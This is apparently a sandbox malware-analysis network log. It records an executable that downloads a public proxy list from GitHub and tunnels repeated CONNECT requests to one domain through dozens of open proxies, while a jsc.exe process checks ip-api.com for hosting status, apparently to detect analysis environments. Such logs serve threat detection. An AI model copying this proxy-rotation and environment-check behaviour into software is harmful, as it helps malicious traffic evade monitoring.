Mar 11, 2024 15:21:14.378938913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.9	55236	52.151.210.204	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.435228109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.9	53726	161.97.147.193	2838	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.449906111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.637630939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.638200998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.638294935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.9	55215	112.30.155.83	12792	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.459352970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.223644018 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.9	55233	72.49.49.11	31034	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.495632887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.9	53833	207.244.229.34	7976	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.532282114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.637825012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.9	55235	47.106.76.196	8088	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.539594889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.9	55234	103.118.44.136	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.543649912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.9	55132	5.202.104.22	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.560125113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.9	55174	68.169.60.220	8380	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.560954094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.9	55244	194.4.50.94	12334	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.633013964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.9	53938	94.23.83.53	55806	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.634146929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.637988091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.638207912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.638290882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.9	53955	107.180.88.41	58037	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.651947975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.825270891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.825547934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.825340033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.9	53772	45.11.95.165	5212	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.672497988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.434895039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1858	192.168.2.9	53877	36.93.130.219	66	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.685606003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.134191990 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.9	55247	184.170.248.5	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.711208105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.9	55246	51.210.223.9	3000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.760673046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.9	53817	139.162.238.184	21017	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.786314011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.810111046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.903500080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.903662920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.904906034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.9	53813	8.218.100.120	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.802855015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.774282932 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 14:21:17 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.9	53774	5.252.23.249	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.819888115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.821501970 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.9	55172	123.241.210.123	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.829457998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.825737000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.825721025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.9	53788	81.199.14.49	1088	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.864129066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.9	55232	102.132.50.6	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.919760942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.9	54090	77.242.132.113	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.959494114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.9	54104	113.161.56.137	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.974791050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.378384113 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.9	54032	103.78.96.146	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.982377052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.137744904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.923269033 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.9	54136	182.253.109.130	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:14.997237921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.9	55228	142.54.226.214	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:15.034789085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.9	55256	208.95.112.1	80	39268	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:15.311433077 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Mar 11, 2024 15:21:15.474224091 CET	175	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.9	52134	149.210.235.107	8118	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:24.629610062 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49708	140.82.114.3	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 14:20:59 UTC	101	OUT	GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-03-11 14:21:00 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Mon, 11 Mar 2024 14:20:59 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"ed65b14ff306ebf6363fad5c67970c5d" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-03-11 14:21:00 UTC	3604	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-03-11 14:21:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-03-11 14:21:00 UTC	1370	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
